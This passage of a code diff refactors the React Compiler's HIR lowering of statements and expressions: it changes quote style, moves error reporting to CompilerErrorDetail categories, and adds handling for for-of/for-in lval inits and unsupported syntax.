+      const value = lowerExpressionToTemporary(builder, stmt.get('right'));
       builder.terminateWithContinuation(
         {
-          kind: "for-of",
+          kind: 'for-of',
           loc,
           init: initBlock.id,
           test: testBlock.id,
@@ -1049,7 +1149,7 @@ function lowerStatement(
           fallthrough: continuationBlock.id,
           id: makeInstructionId(0),
         },
-        initBlock
+        initBlock,
       );
 
       /*
@@ -1058,81 +1158,86 @@ function lowerStatement(
        * instructions when we handle other syntax like Patterns)
        */
       const iterator = lowerValueToTemporary(builder, {
-        kind: "GetIterator",
+        kind: 'GetIterator',
         loc: value.loc,
-        collection: { ...value },
+        collection: {...value},
       });
       builder.terminateWithContinuation(
         {
           id: makeInstructionId(0),
-          kind: "goto",
+          kind: 'goto',
           block: testBlock.id,
           variant: GotoVariant.Break,
           loc: stmt.node.loc ?? GeneratedSource,
         },
-        testBlock
+        testBlock,
       );
 
-      const left = stmt.get("left");
+      const left = stmt.get('left');
       const leftLoc = left.node.loc ?? GeneratedSource;
       let test: Place;
+      const advanceIterator = lowerValueToTemporary(builder, {
+        kind: 'IteratorNext',
+        loc: leftLoc,
+        iterator: {...iterator},
+        collection: {...value},
+      });
       if (left.isVariableDeclaration()) {
-        const declarations = left.get("declarations");
+        const declarations = left.get('declarations');
         CompilerError.invariant(declarations.length === 1, {
           reason: `Expected only one declaration in the init of a ForOfStatement, got ${declarations.length}`,
-          description: null,
-          loc: left.node.loc ?? null,
-          suggestions: null,
-        });
-        const id = declarations[0].get("id");
-        const advanceIterator = lowerValueToTemporary(builder, {
-          kind: "IteratorNext",
-          loc: leftLoc,
-          iterator: { ...iterator },
-          collection: { ...value },
+          loc: left.node.loc ?? GeneratedSource,
         });
+        const id = declarations[0].get('id');
         const assign = lowerAssignment(
           builder,
           leftLoc,
           InstructionKind.Let,
           id,
           advanceIterator,
-          "Assignment"
+          'Assignment',
         );
         test = lowerValueToTemporary(builder, assign);
       } else {
-        builder.errors.push({
-          reason: `(BuildHIR::lowerStatement) Handle ${left.type} inits in ForOfStatement`,
-          severity: ErrorSeverity.Todo,
-          loc: left.node.loc ?? null,
-          suggestions: null,
+        CompilerError.invariant(left.isLVal(), {
+          reason: 'Expected ForOf init to be a variable declaration or lval',
+          loc: leftLoc,
         });
-        return;
+        const assign = lowerAssignment(
+          builder,
+          leftLoc,
+          InstructionKind.Reassign,
+          left,
+          advanceIterator,
+          'Assignment',
+        );
+        test = lowerValueToTemporary(builder, assign);
       }
       builder.terminateWithContinuation(
         {
           id: makeInstructionId(0),
-          kind: "branch",
+          kind: 'branch',
           test,
           consequent: loopBlock,
           alternate: continuationBlock.id,
           loc: stmt.node.loc ?? GeneratedSource,
+          fallthrough: continuationBlock.id,
         },
-        continuationBlock
+        continuationBlock,
       );
       return;
     }
-    case "ForInStatement": {
+    case 'ForInStatement': {
       const stmt = stmtPath as NodePath<t.ForInStatement>;
-      const continuationBlock = builder.reserve("block");
-      const initBlock = builder.reserve("loop");
+      const continuationBlock = builder.reserve('block');
+      const initBlock = builder.reserve('loop');
 
-      const loopBlock = builder.enter("block", (_blockId) => {
+      const loopBlock = builder.enter('block', _blockId => {
         return builder.loop(label, initBlock.id, continuationBlock.id, () => {
-          const body = stmt.get("body");
+          const body = stmt.get('body');
           lowerStatement(builder, body);
           return {
-            kind: "goto",
+            kind: 'goto',
             block: initBlock.id,
             variant: GotoVariant.Continue,
             id: makeInstructionId(0),
@@ -1142,17 +1247,17 @@ function lowerStatement(
       });
 
       const loc = stmt.node.loc ?? GeneratedSource;
-      const value = lowerExpressionToTemporary(builder, stmt.get("right"));
+      const value = lowerExpressionToTemporary(builder, stmt.get('right'));
       builder.terminateWithContinuation(
         {
-          kind: "for-in",
+          kind: 'for-in',
           loc,
           init: initBlock.id,
           loop: loopBlock,
           fallthrough: continuationBlock.id,
           id: makeInstructionId(0),
         },
-        initBlock
+        initBlock,
       );
 
       /*
@@ -1160,104 +1265,114 @@ function lowerStatement(
        * right (Expression), so we synthesize a new InstrValue and assignment (potentially multiple
        * instructions when we handle other syntax like Patterns)
        */
-      const left = stmt.get("left");
+      const left = stmt.get('left');
       const leftLoc = left.node.loc ?? GeneratedSource;
       let test: Place;
+      const nextPropertyTemp = lowerValueToTemporary(builder, {
+        kind: 'NextPropertyOf',
+        loc: leftLoc,
+        value,
+      });
       if (left.isVariableDeclaration()) {
-        const declarations = left.get("declarations");
+        const declarations = left.get('declarations');
         CompilerError.invariant(declarations.length === 1, {
           reason: `Expected only one declaration in the init of a ForInStatement, got ${declarations.length}`,
-          description: null,
-          loc: left.node.loc ?? null,
-          suggestions: null,
-        });
-        const id = declarations[0].get("id");
-        const nextPropertyTemp = lowerValueToTemporary(builder, {
-          kind: "NextPropertyOf",
-          loc: leftLoc,
-          value,
+          loc: left.node.loc ?? GeneratedSource,
         });
+        const id = declarations[0].get('id');
         const assign = lowerAssignment(
           builder,
           leftLoc,
           InstructionKind.Let,
           id,
           nextPropertyTemp,
-          "Assignment"
+          'Assignment',
         );
         test = lowerValueToTemporary(builder, assign);
       } else {
-        builder.errors.push({
-          reason: `(BuildHIR::lowerStatement) Handle ${left.type} inits in ForInStatement`,
-          severity: ErrorSeverity.Todo,
-          loc: left.node.loc ?? null,
-          suggestions: null,
+        CompilerError.invariant(left.isLVal(), {
+          reason: 'Expected ForIn init to be a variable declaration or lval',
+          loc: leftLoc,
         });
-        return;
+        const assign = lowerAssignment(
+          builder,
+          leftLoc,
+          InstructionKind.Reassign,
+          left,
+          nextPropertyTemp,
+          'Assignment',
+        );
+        test = lowerValueToTemporary(builder, assign);
       }
       builder.terminateWithContinuation(
         {
           id: makeInstructionId(0),
-          kind: "branch",
+          kind: 'branch',
           test,
           consequent: loopBlock,
           alternate: continuationBlock.id,
+          fallthrough: continuationBlock.id,
           loc: stmt.node.loc ?? GeneratedSource,
         },
-        continuationBlock
+        continuationBlock,
       );
       return;
     }
-    case "DebuggerStatement": {
+    case 'DebuggerStatement': {
       const stmt = stmtPath as NodePath<t.DebuggerStatement>;
       const loc = stmt.node.loc ?? GeneratedSource;
       builder.push({
         id: makeInstructionId(0),
         lvalue: buildTemporaryPlace(builder, loc),
         value: {
-          kind: "Debugger",
+          kind: 'Debugger',
           loc,
         },
+        effects: null,
         loc,
       });
       return;
     }
-    case "EmptyStatement": {
+    case 'EmptyStatement': {
       return;
     }
-    case "TryStatement": {
+    case 'TryStatement': {
       const stmt = stmtPath as NodePath<t.TryStatement>;
-      const continuationBlock = builder.reserve("block");
+      const continuationBlock = builder.reserve('block');
 
-      const handlerPath = stmt.get("handler");
+      const handlerPath = stmt.get('handler');
       if (!hasNode(handlerPath)) {
-        builder.errors.push({
-          reason: `(BuildHIR::lowerStatement) Handle TryStatement without a catch clause`,
-          severity: ErrorSeverity.Todo,
-          loc: stmt.node.loc ?? null,
-          suggestions: null,
-        });
+        builder.recordError(
+          new CompilerErrorDetail({
+            reason: `(BuildHIR::lowerStatement) Handle TryStatement without a catch clause`,
+            category: ErrorCategory.Todo,
+            loc: stmt.node.loc ?? null,
+            suggestions: null,
+          }),
+        );
         return;
       }
-      if (hasNode(stmt.get("finalizer"))) {
-        builder.errors.push({
-          reason: `(BuildHIR::lowerStatement) Handle TryStatement with a finalizer ('finally') clause`,
-          severity: ErrorSeverity.Todo,
-          loc: stmt.node.loc ?? null,
-          suggestions: null,
-        });
+      if (hasNode(stmt.get('finalizer'))) {
+        builder.recordError(
+          new CompilerErrorDetail({
+            reason: `(BuildHIR::lowerStatement) Handle TryStatement with a finalizer ('finally') clause`,
+            category: ErrorCategory.Todo,
+            loc: stmt.node.loc ?? null,
+            suggestions: null,
+          }),
+        );
       }
 
-      const handlerBindingPath = handlerPath.get("param");
+      const handlerBindingPath = handlerPath.get('param');
       let handlerBinding: {
         place: Place;
         path: NodePath<t.Identifier | t.ArrayPattern | t.ObjectPattern>;
       } | null = null;
       if (hasNode(handlerBindingPath)) {
         const place: Place = {
-          kind: "Identifier",
+          kind: 'Identifier',
           identifier: builder.makeTemporary(
-            handlerBindingPath.node.loc ?? GeneratedSource
+            handlerBindingPath.node.loc ?? GeneratedSource,
           ),
           effect: Effect.Unknown,
           reactive: false,
@@ -1265,10 +1380,10 @@ function lowerStatement(
         };
         promoteTemporary(place.identifier);
         lowerValueToTemporary(builder, {
-          kind: "DeclareLocal",
+          kind: 'DeclareLocal',
           lvalue: {
             kind: InstructionKind.Catch,
-            place: { ...place },
+            place: {...place},
           },
           type: null,
           loc: handlerBindingPath.node.loc ?? GeneratedSource,
@@ -1280,20 +1395,20 @@ function lowerStatement(
         };
       }
 
-      const handler = builder.enter("catch", (_blockId) => {
+      const handler = builder.enter('catch', _blockId => {
         if (handlerBinding !== null) {
           lowerAssignment(
             builder,
             handlerBinding.path.node.loc ?? GeneratedSource,
             InstructionKind.Catch,
             handlerBinding.path,
-            { ...handlerBinding.place },
-            "Assignment"
+            {...handlerBinding.place},
+            'Assignment',
           );
         }
-        lowerStatement(builder, handlerPath.get("body"));
+        lowerStatement(builder, handlerPath.get('body'));
         return {
-          kind: "goto",
+          kind: 'goto',
           block: continuationBlock.id,
           variant: GotoVariant.Break,
           id: makeInstructionId(0),
@@ -1301,13 +1416,13 @@ function lowerStatement(
         };
       });
 
-      const block = builder.enter("block", (_blockId) => {
-        const block = stmt.get("block");
+      const block = builder.enter('block', _blockId => {
+        const block = stmt.get('block');
         builder.enterTryCatch(handler, () => {
           lowerStatement(builder, block);
         });
         return {
-          kind: "goto",
+          kind: 'goto',
           block: continuationBlock.id,
           variant: GotoVariant.Try,
           id: makeInstructionId(0),
@@ -1317,70 +1432,133 @@ function lowerStatement(
 
       builder.terminateWithContinuation(
         {
-          kind: "try",
+          kind: 'try',
           block,
           handlerBinding:
-            handlerBinding !== null ? { ...handlerBinding.place } : null,
+            handlerBinding !== null ? {...handlerBinding.place} : null,
           handler,
           fallthrough: continuationBlock.id,
           id: makeInstructionId(0),
           loc: stmt.node.loc ?? GeneratedSource,
         },
-        continuationBlock
+        continuationBlock,
       );
 
       return;
     }
-    case "TypeAlias":
-    case "TSTypeAliasDeclaration": {
-      // We do not preserve type annotations/syntax through transformation
+    case 'WithStatement': {
+      builder.recordError(
+        new CompilerErrorDetail({
+          reason: `JavaScript 'with' syntax is not supported`,
+          description: `'with' syntax is considered deprecated and removed from JavaScript standards, consider alternatives`,
+          category: ErrorCategory.UnsupportedSyntax,
+          loc: stmtPath.node.loc ?? null,
+          suggestions: null,
+        }),
+      );
+      lowerValueToTemporary(builder, {
+        kind: 'UnsupportedNode',
+        loc: stmtPath.node.loc ?? GeneratedSource,
+        node: stmtPath.node,
+      });
       return;
     }
-    case "ClassDeclaration":
-    case "DeclareClass":
-    case "DeclareExportAllDeclaration":
-    case "DeclareExportDeclaration":
-    case "DeclareFunction":
-    case "DeclareInterface":
-    case "DeclareModule":
-    case "DeclareModuleExports":
-    case "DeclareOpaqueType":
-    case "DeclareTypeAlias":
-    case "DeclareVariable":
-    case "EnumDeclaration":
-    case "ExportAllDeclaration":
-    case "ExportDefaultDeclaration":
-    case "ExportNamedDeclaration":
-    case "ImportDeclaration":
-    case "InterfaceDeclaration":
-    case "OpaqueType":
-    case "TSDeclareFunction":
-    case "TSEnumDeclaration":
-    case "TSExportAssignment":
-    case "TSImportEqualsDeclaration":
-    case "TSInterfaceDeclaration":
-    case "TSModuleDeclaration":
-    case "TSNamespaceExportDeclaration":
-    case "WithStatement": {
-      builder.errors.push({
-        reason: `(BuildHIR::lowerStatement) Handle ${stmtPath.type} statements`,
-        severity: ErrorSeverity.Todo,
-        loc: stmtPath.node.loc ?? null,
-        suggestions: null,
+    case 'ClassDeclaration': {
+      /**
+       * In theory we could support inline class declarations, but this is rare enough in practice
+       * and complex enough to support that we don't anticipate supporting anytime soon. Developers
+       * are encouraged to lift classes out of component/hook declarations.
+       */
+      builder.recordError(
+        new CompilerErrorDetail({
+          reason: 'Inline `class` declarations are not supported',
+          description: `Move class declarations outside of components/hooks`,
+          category: ErrorCategory.UnsupportedSyntax,
+          loc: stmtPath.node.loc ?? null,
+          suggestions: null,
+        }),
+      );
+      lowerValueToTemporary(builder, {
+        kind: 'UnsupportedNode',
+        loc: stmtPath.node.loc ?? GeneratedSource,
+        node: stmtPath.node,
+      });
+      return;
+    }
+    case 'EnumDeclaration':
+    case 'TSEnumDeclaration': {
+      lowerValueToTemporary(builder, {
+        kind: 'UnsupportedNode',
+        loc: stmtPath.node.loc ?? GeneratedSource,
+        node: stmtPath.node,
+      });
+      return;
+    }
+    case 'ExportAllDeclaration':
+    case 'ExportDefaultDeclaration':
+    case 'ExportNamedDeclaration':
+    case 'ImportDeclaration':
+    case 'TSExportAssignment':
+    case 'TSImportEqualsDeclaration': {
+      builder.recordError(
+        new CompilerErrorDetail({
+          reason:
+            'JavaScript `import` and `export` statements may only appear at the top level of a module',
+          category: ErrorCategory.Syntax,
+          loc: stmtPath.node.loc ?? null,
+          suggestions: null,
+        }),
+      );
+      lowerValueToTemporary(builder, {
+        kind: 'UnsupportedNode',
+        loc: stmtPath.node.loc ?? GeneratedSource,
+        node: stmtPath.node,
       });
+      return;
+    }
+    case 'TSNamespaceExportDeclaration': {
+      builder.recordError(
+        new CompilerErrorDetail({
+          reason:
+            'TypeScript `namespace` statements may only appear at the top level of a module',
+          category: ErrorCategory.Syntax,
+          loc: stmtPath.node.loc ?? null,
+          suggestions: null,
+        }),
+      );
       lowerValueToTemporary(builder, {
-        kind: "UnsupportedNode",
+        kind: 'UnsupportedNode',
         loc: stmtPath.node.loc ?? GeneratedSource,
         node: stmtPath.node,
       });
       return;
     }
+    case 'DeclareClass':
+    case 'DeclareExportAllDeclaration':
+    case 'DeclareExportDeclaration':
+    case 'DeclareFunction':
+    case 'DeclareInterface':
+    case 'DeclareModule':
+    case 'DeclareModuleExports':
+    case 'DeclareOpaqueType':
+    case 'DeclareTypeAlias':
+    case 'DeclareVariable':
+    case 'InterfaceDeclaration':
+    case 'OpaqueType':
+    case 'TSDeclareFunction':
+    case 'TSInterfaceDeclaration':
+    case 'TSModuleDeclaration':
+    case 'TSTypeAliasDeclaration':
+    case 'TypeAlias': {
+      // We do not preserve type annotations/syntax through transformation
+      return;
+    }
     default: {
       return assertExhaustive(
         stmtNode,
         `Unsupported statement kind '${
           (stmtNode as any as NodePath<t.Statement>).type
-        }'`
+        }'`,
       );
     }
   }
@@ -1388,16 +1566,13 @@ function lowerStatement(
 
 function lowerObjectMethod(
   builder: HIRBuilder,
-  property: NodePath<t.ObjectMethod>
+  property: NodePath<t.ObjectMethod>,
 ): InstructionValue {
   const loc = property.node.loc ?? GeneratedSource;
   const loweredFunc = lowerFunction(builder, property);
-  if (!loweredFunc) {
-    return { kind: "UnsupportedNode", node: property.node, loc: loc };
-  }
 
   return {
-    kind: "ObjectMethod",
+    kind: 'ObjectMethod',
     loc,
     loweredFunc,
   };
@@ -1405,58 +1580,51 @@ function lowerObjectMethod(
 
 function lowerObjectPropertyKey(
   builder: HIRBuilder,
-  property: NodePath<t.ObjectProperty | t.ObjectMethod>
+  property: NodePath<t.ObjectProperty | t.ObjectMethod>,
 ): ObjectPropertyKey | null {
-  const key = property.get("key");
+  const key = property.get('key');
   if (key.isStringLiteral()) {
     return {
-      kind: "string",
+      kind: 'string',
       name: key.node.value,
     };
   } else if (property.node.computed && key.isExpression()) {
-    if (!key.isIdentifier()) {
-      /*
-       * NOTE: allowing complex key expressions can trigger a bug where a mutation is made conditional
-       * see fixture
-       * error.object-expression-computed-key-modified-during-after-construction.js
-       */
-      builder.errors.push({
-        reason: `(BuildHIR::lowerExpression) Expected Identifier, got ${key.type} key in ObjectExpression`,
-        severity: ErrorSeverity.Todo,
-        loc: key.node.loc ?? null,
-        suggestions: null,
-      });
-      return null;
-    }
     const place = lowerExpressionToTemporary(builder, key);
     return {
-      kind: "computed",
+      kind: 'computed',
       name: place,
     };
   } else if (key.isIdentifier()) {
     return {
-      kind: "identifier",
+      kind: 'identifier',
       name: key.node.name,
     };
+  } else if (key.isNumericLiteral()) {
+    return {
+      kind: 'identifier',
+      name: String(key.node.value),
+    };
   }
 
-  builder.errors.push({
-    reason: `(BuildHIR::lowerExpression) Expected Identifier, got ${key.type} key in ObjectExpression`,
-    severity: ErrorSeverity.Todo,
-    loc: key.node.loc ?? null,
-    suggestions: null,
-  });
+  builder.recordError(
+    new CompilerErrorDetail({
+      reason: `(BuildHIR::lowerExpression) Expected Identifier, got ${key.type} key in ObjectExpression`,
+      category: ErrorCategory.Todo,
+      loc: key.node.loc ?? null,
+      suggestions: null,
+    }),
+  );
   return null;
 }
 
 function lowerExpression(
   builder: HIRBuilder,
-  exprPath: NodePath<t.Expression>
+  exprPath: NodePath<t.Expression>,
 ): InstructionValue {
   const exprNode = exprPath.node;
   const exprLoc = exprNode.loc ?? GeneratedSource;
   switch (exprNode.type) {
-    case "Identifier": {
+    case 'Identifier': {
       const expr = exprPath as NodePath<t.Identifier>;
       const place = lowerIdentifier(builder, expr);
       return {
@@ -1465,29 +1633,29 @@ function lowerExpression(
         loc: exprLoc,
       };
     }
-    case "NullLiteral": {
+    case 'NullLiteral': {
       return {
-        kind: "Primitive",
+        kind: 'Primitive',
         value: null,
         loc: exprLoc,
       };
     }
-    case "BooleanLiteral":
-    case "NumericLiteral":
-    case "StringLiteral": {
+    case 'BooleanLiteral':
+    case 'NumericLiteral':
+    case 'StringLiteral': {
       const expr = exprPath as NodePath<
         t.StringLiteral | t.BooleanLiteral | t.NumericLiteral
       >;
       const value = expr.node.value;
       return {
-        kind: "Primitive",
+        kind: 'Primitive',
         value,
         loc: exprLoc,
       };
     }
-    case "ObjectExpression": {
+    case 'ObjectExpression': {
       const expr = exprPath as NodePath<t.ObjectExpression>;
-      const propertyPaths = expr.get("properties");
+      const propertyPaths = expr.get('properties');
       const properties: Array<ObjectProperty | SpreadPattern> = [];
       for (const propertyPath of propertyPaths) {
         if (propertyPath.isObjectProperty()) {
@@ -1495,40 +1663,44 @@ function lowerExpression(
           if (!loweredKey) {
             continue;
           }
-          const valuePath = propertyPath.get("value");
+          const valuePath = propertyPath.get('value');
           if (!valuePath.isExpression()) {
-            builder.errors.push({
-              reason: `(BuildHIR::lowerExpression) Handle ${valuePath.type} values in ObjectExpression`,
-              severity: ErrorSeverity.Todo,
-              loc: valuePath.node.loc ?? null,
-              suggestions: null,
-            });
+            builder.recordError(
+              new CompilerErrorDetail({
+                reason: `(BuildHIR::lowerExpression) Handle ${valuePath.type} values in ObjectExpression`,
+                category: ErrorCategory.Todo,
+                loc: valuePath.node.loc ?? null,
+                suggestions: null,
+              }),
+            );
             continue;
           }
           const value = lowerExpressionToTemporary(builder, valuePath);
           properties.push({
-            kind: "ObjectProperty",
-            type: "property",
+            kind: 'ObjectProperty',
+            type: 'property',
             place: value,
             key: loweredKey,
           });
         } else if (propertyPath.isSpreadElement()) {
           const place = lowerExpressionToTemporary(
             builder,
-            propertyPath.get("argument")
+            propertyPath.get('argument'),
           );
           properties.push({
-            kind: "Spread",
+            kind: 'Spread',
             place,
           });
         } else if (propertyPath.isObjectMethod()) {
-          if (propertyPath.node.kind !== "method") {
-            builder.errors.push({
-              reason: `(BuildHIR::lowerExpression) Handle ${propertyPath.node.kind} functions in ObjectExpression`,
-              severity: ErrorSeverity.Todo,
-              loc: propertyPath.node.loc ?? null,
-              suggestions: null,
-            });
+          if (propertyPath.node.kind !== 'method') {
+            builder.recordError(
+              new CompilerErrorDetail({
+                reason: `(BuildHIR::lowerExpression) Handle ${propertyPath.node.kind} functions in ObjectExpression`,
+                category: ErrorCategory.Todo,
+                loc: propertyPath.node.loc ?? null,
+                suggestions: null,
+              }),
+            );
             continue;
           }
           const method = lowerObjectMethod(builder, propertyPath);
@@ -1538,34 +1710,36 @@ function lowerExpression(
             continue;
           }
           properties.push({
-            kind: "ObjectProperty",
-            type: "method",
+            kind: 'ObjectProperty',
+            type: 'method',
             place,
             key: loweredKey,
           });
         } else {
-          builder.errors.push({
-            reason: `(BuildHIR::lowerExpression) Handle ${propertyPath.type} properties in ObjectExpression`,
-            severity: ErrorSeverity.Todo,
-            loc: propertyPath.node.loc ?? null,
-            suggestions: null,
-          });
+          builder.recordError(
+            new CompilerErrorDetail({
+              reason: `(BuildHIR::lowerExpression) Handle ${propertyPath.type} properties in ObjectExpression`,
+              category: ErrorCategory.Todo,
+              loc: propertyPath.node.loc ?? null,
+              suggestions: null,
+            }),
+          );
           continue;
         }
       }
       return {
-        kind: "ObjectExpression",
+        kind: 'ObjectExpression',
         properties,
         loc: exprLoc,
       };
     }
-    case "ArrayExpression": {
+    case 'ArrayExpression': {
       const expr = exprPath as NodePath<t.ArrayExpression>;
-      let elements: ArrayExpression["elements"] = [];
-      for (const element of expr.get("elements")) {
+      let elements: ArrayExpression['elements'] = [];
+      for (const element of expr.get('elements')) {
         if (element.node == null) {
           elements.push({
-            kind: "Hole",
+            kind: 'Hole',
           });
           continue;
         } else if (element.isExpression()) {
@@ -1573,148 +1747,160 @@ function lowerExpression(
         } else if (element.isSpreadElement()) {
           const place = lowerExpressionToTemporary(
             builder,
-            element.get("argument")
+            element.get('argument'),
           );
-          elements.push({ kind: "Spread", place });
+          elements.push({kind: 'Spread', place});
         } else {
-          builder.errors.push({
-            reason: `(BuildHIR::lowerExpression) Handle ${element.type} elements in ArrayExpression`,
-            severity: ErrorSeverity.Todo,
-            loc: element.node.loc ?? null,
-            suggestions: null,
-          });
+          builder.recordError(
+            new CompilerErrorDetail({
+              reason: `(BuildHIR::lowerExpression) Handle ${element.type} elements in ArrayExpression`,
+              category: ErrorCategory.Todo,
+              loc: element.node.loc ?? null,
+              suggestions: null,
+            }),
+          );
           continue;
         }
       }
       return {
-        kind: "ArrayExpression",
+        kind: 'ArrayExpression',
         elements,
         loc: exprLoc,
       };
     }
-    case "NewExpression": {
+    case 'NewExpression': {
       const expr = exprPath as NodePath<t.NewExpression>;
-      const calleePath = expr.get("callee");
+      const calleePath = expr.get('callee');
       if (!calleePath.isExpression()) {
-        builder.errors.push({
-          reason: `Expected an expression as the \`new\` expression receiver (v8 intrinsics are not supported)`,
-          description: `Got a \`${calleePath.node.type}\``,
-          severity: ErrorSeverity.InvalidJS,
-          loc: calleePath.node.loc ?? null,
-          suggestions: null,
-        });
-        return { kind: "UnsupportedNode", node: exprNode, loc: exprLoc };
+        builder.recordError(
+          new CompilerErrorDetail({
+            reason: `Expected an expression as the \`new\` expression receiver (v8 intrinsics are not supported)`,
+            description: `Got a \`${calleePath.node.type}\``,
+            category: ErrorCategory.Syntax,
+            loc: calleePath.node.loc ?? null,
+            suggestions: null,
+          }),
+        );
+        return {kind: 'UnsupportedNode', node: exprNode, loc: exprLoc};
       }
       const callee = lowerExpressionToTemporary(builder, calleePath);
-      const args = lowerArguments(builder, expr.get("arguments"));
+      const args = lowerArguments(builder, expr.get('arguments'));
 
       return {
-        kind: "NewExpression",
+        kind: 'NewExpression',
         callee,
         args,
         loc: exprLoc,
       };
     }
-    case "OptionalCallExpression": {
+    case 'OptionalCallExpression': {
       const expr = exprPath as NodePath<t.OptionalCallExpression>;
       return lowerOptionalCallExpression(builder, expr, null);
     }
-    case "CallExpression": {
+    case 'CallExpression': {
       const expr = exprPath as NodePath<t.CallExpression>;
-      const calleePath = expr.get("callee");
+      const calleePath = expr.get('callee');
       if (!calleePath.isExpression()) {
-        builder.errors.push({
-          reason: `Expected Expression, got ${calleePath.type} in CallExpression (v8 intrinsics not supported). This error is likely caused by a bug in React Compiler. Please file an issue`,
-          severity: ErrorSeverity.Todo,
-          loc: calleePath.node.loc ?? null,
-          suggestions: null,
-        });
-        return { kind: "UnsupportedNode", node: exprNode, loc: exprLoc };
+        builder.recordError(
+          new CompilerErrorDetail({
+            reason: `Expected Expression, got ${calleePath.type} in CallExpression (v8 intrinsics not supported). This error is likely caused by a bug in React Compiler. Please file an issue`,
+            category: ErrorCategory.Todo,
+            loc: calleePath.node.loc ?? null,
+            suggestions: null,
+          }),
+        );
+        return {kind: 'UnsupportedNode', node: exprNode, loc: exprLoc};
       }
       if (calleePath.isMemberExpression()) {
         const memberExpr = lowerMemberExpression(builder, calleePath);
         const propertyPlace = lowerValueToTemporary(builder, memberExpr.value);
-        const args = lowerArguments(builder, expr.get("arguments"));
+        const args = lowerArguments(builder, expr.get('arguments'));
         return {
-          kind: "MethodCall",
+          kind: 'MethodCall',
           receiver: memberExpr.object,
-          property: { ...propertyPlace },
+          property: {...propertyPlace},
           args,
           loc: exprLoc,
         };
       } else {
         const callee = lowerExpressionToTemporary(builder, calleePath);
-        const args = lowerArguments(builder, expr.get("arguments"));
+        const args = lowerArguments(builder, expr.get('arguments'));
         return {
-          kind: "CallExpression",
+          kind: 'CallExpression',
           callee,
           args,
           loc: exprLoc,
         };
       }
     }
-    case "BinaryExpression": {
+    case 'BinaryExpression': {
       const expr = exprPath as NodePath<t.BinaryExpression>;
-      const leftPath = expr.get("left");
+      const leftPath = expr.get('left');
       if (!leftPath.isExpression()) {
-        builder.errors.push({
-          reason: `(BuildHIR::lowerExpression) Expected Expression, got ${leftPath.type} lval in BinaryExpression`,
-          severity: ErrorSeverity.Todo,
-          loc: leftPath.node.loc ?? null,
-          suggestions: null,
-        });
-        return { kind: "UnsupportedNode", node: exprNode, loc: exprLoc };
+        builder.recordError(
+          new CompilerErrorDetail({
+            reason: `(BuildHIR::lowerExpression) Expected Expression, got ${leftPath.type} lval in BinaryExpression`,
+            category: ErrorCategory.Todo,
+            loc: leftPath.node.loc ?? null,
+            suggestions: null,
+          }),
+        );
+        return {kind: 'UnsupportedNode', node: exprNode, loc: exprLoc};
       }
       const left = lowerExpressionToTemporary(builder, leftPath);
-      const right = lowerExpressionToTemporary(builder, expr.get("right"));
+      const right = lowerExpressionToTemporary(builder, expr.get('right'));
       const operator = expr.node.operator;
-      if (operator === "|>") {
-        builder.errors.push({
-          reason: `(BuildHIR::lowerExpression) Pipe operator not supported`,
-          severity: ErrorSeverity.Todo,
-          loc: leftPath.node.loc ?? null,
-          suggestions: null,
-        });
-        return { kind: "UnsupportedNode", node: exprNode, loc: exprLoc };
+      if (operator === '|>') {
+        builder.recordError(
+          new CompilerErrorDetail({
+            reason: `(BuildHIR::lowerExpression) Pipe operator not supported`,
+            category: ErrorCategory.Todo,
+            loc: leftPath.node.loc ?? null,
+            suggestions: null,
+          }),
+        );
+        return {kind: 'UnsupportedNode', node: exprNode, loc: exprLoc};
       }
       return {
-        kind: "BinaryExpression",
+        kind: 'BinaryExpression',
         operator,
         left,
         right,
         loc: exprLoc,
       };
     }
-    case "SequenceExpression": {
+    case 'SequenceExpression': {
       const expr = exprPath as NodePath<t.SequenceExpression>;
       const exprLoc = expr.node.loc ?? GeneratedSource;
 
       const continuationBlock = builder.reserve(builder.currentBlockKind());
       const place = buildTemporaryPlace(builder, exprLoc);
 
-      const sequenceBlock = builder.enter("sequence", (_) => {
+      const sequenceBlock = builder.enter('sequence', _ => {
         let last: Place | null = null;
-        for (const item of expr.get("expressions")) {
+        for (const item of expr.get('expressions')) {
           last = lowerExpressionToTemporary(builder, item);
         }
         if (last === null) {
-          builder.errors.push({
-            reason: `Expected sequence expression to have at least one expression`,
-            severity: ErrorSeverity.InvalidJS,
-            loc: expr.node.loc ?? null,
-            suggestions: null,
-          });
+          builder.recordError(
+            new CompilerErrorDetail({
+              reason: `Expected sequence expression to have at least one expression`,
+              category: ErrorCategory.Syntax,
+              loc: expr.node.loc ?? null,
+              suggestions: null,
+            }),
+          );
         } else {
           lowerValueToTemporary(builder, {
-            kind: "StoreLocal",
-            lvalue: { kind: InstructionKind.Const, place: { ...place } },
+            kind: 'StoreLocal',
+            lvalue: {kind: InstructionKind.Const, place: {...place}},
             value: last,
             type: null,
             loc: exprLoc,
           });
         }
         return {
-          kind: "goto",
+          kind: 'goto',
           id: makeInstructionId(0),
           block: continuationBlock.id,
           loc: exprLoc,
@@ -1724,38 +1910,38 @@ function lowerExpression(
 
       builder.terminateWithContinuation(
         {
-          kind: "sequence",
+          kind: 'sequence',
           block: sequenceBlock,
           fallthrough: continuationBlock.id,
           id: makeInstructionId(0),
           loc: exprLoc,
         },
-        continuationBlock
+        continuationBlock,
       );
-      return { kind: "LoadLocal", place, loc: place.loc };
+      return {kind: 'LoadLocal', place, loc: place.loc};
     }
-    case "ConditionalExpression": {
+    case 'ConditionalExpression': {
       const expr = exprPath as NodePath<t.ConditionalExpression>;
       const exprLoc = expr.node.loc ?? GeneratedSource;
 
       //  Block for code following the if
       const continuationBlock = builder.reserve(builder.currentBlockKind());
-      const testBlock = builder.reserve("value");
+      const testBlock = builder.reserve('value');
       const place = buildTemporaryPlace(builder, exprLoc);
 
       //  Block for the consequent (if the test is truthy)
-      const consequentBlock = builder.enter("value", (_blockId) => {
-        const consequentPath = expr.get("consequent");
+      const consequentBlock = builder.enter('value', _blockId => {
+        const consequentPath = expr.get('consequent');
         const consequent = lowerExpressionToTemporary(builder, consequentPath);
         lowerValueToTemporary(builder, {
-          kind: "StoreLocal",
-          lvalue: { kind: InstructionKind.Const, place: { ...place } },
+          kind: 'StoreLocal',
+          lvalue: {kind: InstructionKind.Const, place: {...place}},
           value: consequent,
           type: null,
           loc: exprLoc,
         });
         return {
-          kind: "goto",
+          kind: 'goto',
           block: continuationBlock.id,
           variant: GotoVariant.Break,
           id: makeInstructionId(0),
@@ -1763,18 +1949,18 @@ function lowerExpression(
         };
       });
       //  Block for the alternate (if the test is not truthy)
-      const alternateBlock = builder.enter("value", (_blockId) => {
-        const alternatePath = expr.get("alternate");
+      const alternateBlock = builder.enter('value', _blockId => {
+        const alternatePath = expr.get('alternate');
         const alternate = lowerExpressionToTemporary(builder, alternatePath);
         lowerValueToTemporary(builder, {
